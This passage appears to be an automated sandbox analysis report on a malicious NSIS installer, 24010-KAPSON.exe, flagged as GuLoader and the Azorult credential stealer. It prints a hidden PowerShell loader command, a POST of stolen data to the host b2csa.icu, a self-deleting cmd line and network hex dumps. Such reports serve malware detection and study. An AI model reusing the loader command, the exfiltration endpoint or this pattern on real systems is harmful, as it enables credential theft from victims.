Jan 13, 2025 09:22:23.941582918 CET	1236	IN	Data Raw: 20 41 2b 0f 06 dd a4 43 f1 64 e9 eb 70 3b 14 16 0a dd aa 44 f7 6d f3 fa 10 64 47 60 66 fa cf 33 8d 18 d0 a2 50 26 09 15 0a c9 bf 10 dd 6d f9 ae 13 07 0f 01 0b c6 a5 57 be 52 de 8a 03 4a 71 6b 54 98 fb 08 af 33 af fb 02 65 57 53 3f b8 c6 01 a6 32 Data Ascii: A+Cdp;DmdG`f3P&mWRJqkT3eWS?2fVWTj8do`f6GVwc4R'_3=Re3a7g\:W{6W A+Cdp;Dm?dl`f;pexVye~=V"A$_2dk`lMx2Uc
Jan 13, 2025 09:22:23.941597939 CET	1236	IN	Data Raw: 5c 27 09 00 11 9e e6 00 b5 04 9e 9e 37 57 75 42 28 c6 a8 42 f1 71 f2 ad 47 74 34 09 0a db eb 73 fb 70 e9 a2 55 3d 05 07 11 ca eb 71 eb 76 f5 a4 41 3d 12 1f 55 b1 dc 3d af 32 ad f3 00 65 54 54 54 96 f8 02 c4 15 90 f9 03 64 5e 55 54 9d f9 02 a7 31 Data Ascii: \'7WuB(BqGt4spU=qvA=U=2eTTTd^UT1-WmU315Wv6W ^1^vDVhc4V0.fPlupSmU F%_c\:WEU3)_v\0F6^lc'Vh1I2[fV2&?
Jan 13, 2025 09:22:23.941620111 CET	1236	IN	Data Raw: 9f 5e 9d 75 42 ef 66 d4 67 e3 34 b4 75 ef 61 06 22 ca ab 70 d0 b2 df 27 7d b9 d5 10 1c 77 c1 04 97 6f 81 4b 02 4b 84 68 31 72 2e 91 65 e7 da db 9e 30 fe 99 35 b9 e5 4c 21 07 bc b1 d1 c1 27 41 0c 6c 58 bf 0b cb 10 13 a8 75 c8 6b 39 33 3b 92 30 84 Data Ascii: ^uBfg4ua"p'}woKKh1r.e05L!'AlXuk93;0H?>K-oHpAC0`}UB>V&P\|5c6nlWf2[`ffe,.1leuVt9$Xxg\|SoC`ll=2MpoBqGeK
Jan 13, 2025 09:22:23.941633940 CET	328	IN	Data Raw: 49 14 84 31 de 00 93 aa 82 e3 80 ca b5 f8 dd 1e 97 24 1b dc a5 03 73 29 8d db 6c 63 ad 22 83 d2 6e 51 88 16 7c ff f4 82 82 22 a1 e5 1e c3 7b 5f c1 52 49 e3 66 46 5a 1a ba 20 ed 30 c5 a8 82 1e fc 81 c6 c7 99 e0 ed 77 2b 1a fb e8 0e a5 b9 a5 26 a3 Data Ascii: I1$s)lc"nQ\|"{_RIfFZ 0w+&WTy7kEl@ka2HmEal_@LSM;t"H5DA%zhUqlqh2>H,Qegk~$+DNX/%J2~o S+j$
Jan 13, 2025 09:22:23.946196079 CET	1236	IN	Data Raw: 04 1b a5 91 8d a4 22 61 74 a4 74 09 98 25 f9 5c 2c fc 42 9a fb d8 45 af 03 12 56 2d 19 10 f9 c9 0e 79 c9 3f ea 17 2f 11 7b b7 2d 01 50 e0 1e 32 60 7b 8a 1e ce ae 09 7b 96 2c cd d5 c5 39 be 2a 47 90 1a d8 46 76 49 54 cd a7 a5 90 c5 8e b8 74 93 bb Data Ascii: "att%\,BEV-y?/{-P2`{{,9*GFvITtDy .%zgB;:aaXo+}w1=%?uR.I\|dgdJ{]`e0#W dw`f8@<^5W3bbbf]0WxU3&_v\&Ylu`e0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49905	104.21.32.1	80	6204	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:22:28.264900923 CET	164	OUT	POST /PL341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: b2csa.icu Content-Length: 32939 Cache-Control: no-cache
Jan 13, 2025 09:22:28.264959097 CET	11124	OUT	Data Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 6d 8b 30 62 8b 30 61 e8 26 66 96 26 66 9f 40 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10m0b0a&f&f@p5pGp4p2p:p;0a0lp2p3pFp3)j;l"&g&f&f&gF;f'q<f)&f&fp4p;p0p;p4p6)o3m&&fp3)0e&f&fBg64.b;4g0x4.a66:l
Jan 13, 2025 09:22:28.269866943 CET	6180	OUT	Data Raw: 4e 0f e7 56 1c fe 49 18 e8 42 1a f8 4d 18 f4 59 01 e1 59 12 e1 59 1a e4 53 1e f9 40 10 e8 57 01 ef 55 00 ec 42 14 ea 42 01 f4 5a 1f ea 54 06 f4 46 0f fe 4f 11 fa 44 0c ed 5a 02 fa 50 11 ff 57 1c e3 59 1d ed 48 18 ff 4f 0f e8 46 0c fd 5a 00 fb 54 Data Ascii: NVIBMYYYS@WUBBZTFODZPWYHOFZTPEGNWYAENZEOKUKWTWKFU[S@AOLL@WTVVUIOWPOGWVK@IISHUVU[E
Jan 13, 2025 09:22:28.269891977 CET	4944	OUT	Data Raw: 40 1e ff 53 10 ed 55 10 eb 44 1b fa 4f 1f f9 59 1a e5 4b 06 e5 59 07 e0 4f 1f eb 47 04 e2 46 04 e0 51 02 e7 5a 19 fd 5b 1d fd 4d 03 e9 45 01 ed 47 1f e1 45 1f fd 50 12 ef 4d 0f e8 40 13 fd 57 11 fb 53 0c ec 40 16 ef 53 04 f9 55 03 f8 4b 02 ff 4e Data Ascii: @SUDOYKYOGFQZ[MEGEPM@WS@SUKNARARGNSM[SFRSRPFEABBWKOW[SJNI[USFYOOKJTVBAEEVOOQHIPDD
Jan 13, 2025 09:22:28.270085096 CET	4944	OUT	Data Raw: 46 1c fb 4f 02 e6 5b 0d e8 48 01 e4 54 05 ea 4e 0c fb 42 1a fd 45 17 e5 40 01 e0 40 01 ff 52 0d fa 4f 0d e7 4a 1f e5 5a 1a fe 5a 17 e3 50 13 e9 5a 19 f4 47 12 e1 5b 01 f8 4a 1d f7 4f 00 e3 49 16 fc 47 07 ff 5b 13 e2 41 11 ef 56 0d ec 57 1b ef 53 Data Ascii: FO[HTNBE@@ROJZZPZG[JOIG[AVWS@RHRSUBNVIIIJZLUMPOASA[PSFMIFBXSAUUUrQWUUE<f&1EEO_LA[g:{L
Jan 13, 2025 09:22:28.270149946 CET	5747	OUT	Data Raw: 33 75 ee 23 67 80 37 65 8e 44 1d d4 0e 5f ed 53 00 8e 40 3a db 6d 21 94 23 61 a3 09 12 cb 77 07 ef 4e 6f 8e 3b 64 97 32 58 a4 55 3c ca 66 3a 8e 4a 3b c8 6c 58 a4 4e 3c cd 71 3a dd 6c 33 da 23 17 cf 70 3c cd 23 11 c7 70 25 c2 62 2c 8e 42 31 cf 73 Data Ascii: 3u#g7eD_S@:m!#awNo;d2XU<f:J;lXN<q:l3#p<#p%b,B1s!qX_XXp!nuq:f&^Xp!nX\f2p!zX\n&-0fX\f8q,@:s'p&l;6q&-0fXt<j;w{{0\f'j6p{{0\p#k:w{{0\b'N0vs0j0`0
Jan 13, 2025 09:22:32.588083029 CET	833	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 08:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JNVlvv0NO9qzekzSmsmZKx%2BkRYa0uZaXB43rW5UzWXh6Yub51w9opkOLoRWwIG4v6WEna%2B9k0N%2BEj89zAIDHMEeTB42RFfB03o1IYWx9zBQw2jmfC1NJQtfTrlc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013fa8d4c871875-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1706&rtt_var=853&sent=14&recv=34&lost=0&retrans=0&sent_bytes=0&recv_bytes=33103&delivery_rate=0&cwnd=151&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7falseOK0

Target ID:	0
Start time:	03:21:39
Start date:	13/01/2025
Path:	C:\Users\user\Desktop\24010-KAPSON.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\24010-KAPSON.exe"
Imagebase:	0x400000
File size:	690'938 bytes
MD5 hash:	EF470B3A08DD421F59AB4C049AEC86B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:21:39
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) "
Imagebase:	0xe00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2375833241.000000000A496000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:21:39
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:22:11
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x650000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000005.00000002.2588292127.0000000020980000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000005.00000002.2589276860.0000000021BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:22:32
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "msiexec.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:22:32
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:22:32
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\timeout.exe 3
Imagebase:	0x3e0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	22.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.4%
Total number of Nodes:	1404
Total number of Limit Nodes:	36

Executed Functions

Function 004035D8 Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004035FB
GetVersion.KERNEL32 ref: 00403601
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403634
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 00403671
OleInitialize.OLE32(00000000), ref: 00403678
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 00403694
GetCommandLineW.KERNEL32(00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 004036A9
CharNextW.USER32(00000000,"C:\Users\user\Desktop\24010-KAPSON.exe",00000020,"C:\Users\user\Desktop\24010-KAPSON.exe",00000000,?,00000007,00000009,0000000B), ref: 004036E1

Part of subcall function 00406931: GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
Part of subcall function 00406931: GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040381B
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 0040382C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403838
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 0040384C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403854
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403865
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040386D
DeleteFileW.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 00403881

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

OleUninitialize.OLE32(00000007,?,00000007,00000009,0000000B), ref: 0040394C
ExitProcess.KERNEL32 ref: 0040396D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\24010-KAPSON.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 00403980
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\24010-KAPSON.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 0040398F
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\24010-KAPSON.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 0040399A
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\24010-KAPSON.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 004039A6
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004039C2
DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,00000009,?,00000007,00000009,0000000B), ref: 00403A1C
CopyFileW.KERNEL32(C:\Users\user\Desktop\24010-KAPSON.exe,00420F08,00000001,?,00000007,00000009,0000000B), ref: 00403A30
CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000,?,00000007,00000009,0000000B), ref: 00403A5D
GetCurrentProcess.KERNEL32(00000028,0000000B,00000007,00000009,0000000B), ref: 00403A8C
OpenProcessToken.ADVAPI32(00000000), ref: 00403A93
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA8
AdjustTokenPrivileges.ADVAPI32 ref: 00403ACB
ExitWindowsEx.USER32(00000002,80040002), ref: 00403AF0
ExitProcess.KERNEL32 ref: 00403B13

Strings

Error launching installer, xrefs: 00403903
C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske, xrefs: 004037FE, 0040391E, 004039C8, 004039D2
C:\Users\user\Desktop, xrefs: 0040399F, 004039A4, 004039D1
Low, xrefs: 0040384E
~nsu, xrefs: 00403978
NSIS Error, xrefs: 0040369A
TMP, xrefs: 00403868
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004035EF
C:\Users\user\Desktop\24010-KAPSON.exe, xrefs: 00403A2B
UXTHEME, xrefs: 00403628, 0040362D, 00403633
C:\Users\user\AppData\Local\Temp\, xrefs: 00403810, 00403815, 0040382B, 00403837, 00403846, 00403853, 0040385F, 00403867, 0040397D, 0040398E, 00403999, 004039A5, 004039B2, 004039C1, 00403A72
TEMP, xrefs: 00403860
.tmp, xrefs: 00403994
"C:\Users\user\Desktop\24010-KAPSON.exe", xrefs: 004036AF, 004036B5, 004038A9
\Temp, xrefs: 00403832
1033, xrefs: 0040387C
SeShutdownPrivilege, xrefs: 00403AA2
C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske, xrefs: 00403929

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\24010-KAPSON.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske$C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske$C:\Users\user\Desktop$C:\Users\user\Desktop\24010-KAPSON.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-1866099177
Opcode ID: e8962de221190e698780299f904bb1c9ecccbeb4516d2c8909ef585553841841
Instruction ID: 2d933c795242ec911d1e8c81cb1b116df6d8be9c0bdf84dd3ae94b8088f318b1
Opcode Fuzzy Hash: e8962de221190e698780299f904bb1c9ecccbeb4516d2c8909ef585553841841
Instruction Fuzzy Hash: 7CD1F6B1200310AAD720BF759D49B2B3AADEB40709F51443FF881B62D1DB7D8956C76E

Function 004056E3 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405741
GetDlgItem.USER32(?,000003EE), ref: 00405750
GetClientRect.USER32(?,?), ref: 0040578D
GetSystemMetrics.USER32(00000002), ref: 00405794
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057B5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057C6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057D9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057E7
SendMessageW.USER32(?,00001024,00000000,?), ref: 004057FA
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040581C
ShowWindow.USER32(?,00000008), ref: 00405830
GetDlgItem.USER32(?,000003EC), ref: 00405851
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405861
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040587A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405886
GetDlgItem.USER32(?,000003F8), ref: 0040575F

Part of subcall function 004044C7: SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

GetDlgItem.USER32(?,000003EC), ref: 004058A3
CreateThread.KERNELBASE(00000000,00000000,Function_00005677,00000000), ref: 004058B1
CloseHandle.KERNELBASE(00000000), ref: 004058B8
ShowWindow.USER32(00000000), ref: 004058DC
ShowWindow.USER32(?,00000008), ref: 004058E1
ShowWindow.USER32(00000008), ref: 0040592B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040595F
CreatePopupMenu.USER32 ref: 00405970
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405984
GetWindowRect.USER32(?,?), ref: 004059A4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059BD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059F5
OpenClipboard.USER32(00000000), ref: 00405A05
EmptyClipboard.USER32 ref: 00405A0B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A17
GlobalLock.KERNEL32(00000000), ref: 00405A21
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A35
GlobalUnlock.KERNEL32(00000000), ref: 00405A55
SetClipboardData.USER32(0000000D,00000000), ref: 00405A60
CloseClipboard.USER32 ref: 00405A66

Strings

H7B, xrefs: 004059D1
{, xrefs: 00405949

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B${
API String ID: 590372296-2256286769
Opcode ID: 884f7f482552ad495630c0d3fa32fcc865423dc9d6cc97de9fbdf453dcde5e60
Instruction ID: babe9631ed489b332455c35fc9929fd6d80e8fe82f7b5f1866f1dd344d2d825a
Opcode Fuzzy Hash: 884f7f482552ad495630c0d3fa32fcc865423dc9d6cc97de9fbdf453dcde5e60
Instruction Fuzzy Hash: C9B159B1900608FFDF11AFA0DD85AAE7B79FB48354F00847AFA41A61A0CB754E51DF68

Function 00405C4E Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75923420,75922EE0,00000000), ref: 00405C77
lstrcatW.KERNEL32(00425750,\*.*,00425750,?,?,75923420,75922EE0,00000000), ref: 00405CBF
lstrcatW.KERNEL32(?,0040A014,?,00425750,?,?,75923420,75922EE0,00000000), ref: 00405CE2
lstrlenW.KERNEL32(?,?,0040A014,?,00425750,?,?,75923420,75922EE0,00000000), ref: 00405CE8
FindFirstFileW.KERNEL32(00425750,?,?,?,0040A014,?,00425750,?,?,75923420,75922EE0,00000000), ref: 00405CF8
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D98
FindClose.KERNEL32(00000000), ref: 00405DA7

Strings

\*.*, xrefs: 00405CB9
"C:\Users\user\Desktop\24010-KAPSON.exe", xrefs: 00405C4E
PWB, xrefs: 00405CA7

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\24010-KAPSON.exe"$PWB$\*.*
API String ID: 2035342205-1785583027
Opcode ID: 14e852b1af67b6b14adf9b465f0067772065b10f046650ccb6c810fc29c0f944
Instruction ID: 388f2befc2087cc18a81576ce5b748581f321be521e7d033b0a51c5b8adb9818
Opcode Fuzzy Hash: 14e852b1af67b6b14adf9b465f0067772065b10f046650ccb6c810fc29c0f944
Instruction Fuzzy Hash: C141CF30800A14BADB21AB65DC8DABF7678EF41718F50813BF841B51D1D77C4A82DEAE

Function 00406C5B Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5fc7cef62123189b146ae20f9b137f8dd1da47d9d14d17752a01c0449262ee
Instruction ID: b5fdc14d1eddcf89792e2e646b4c6bd06a53190dca3d1b375e16d2eed6ded591
Opcode Fuzzy Hash: 4c5fc7cef62123189b146ae20f9b137f8dd1da47d9d14d17752a01c0449262ee
Instruction Fuzzy Hash: 78F16970D04229CBDF28CFA8C8946ADBBB1FF44305F15816ED856BB281D7386A86DF45

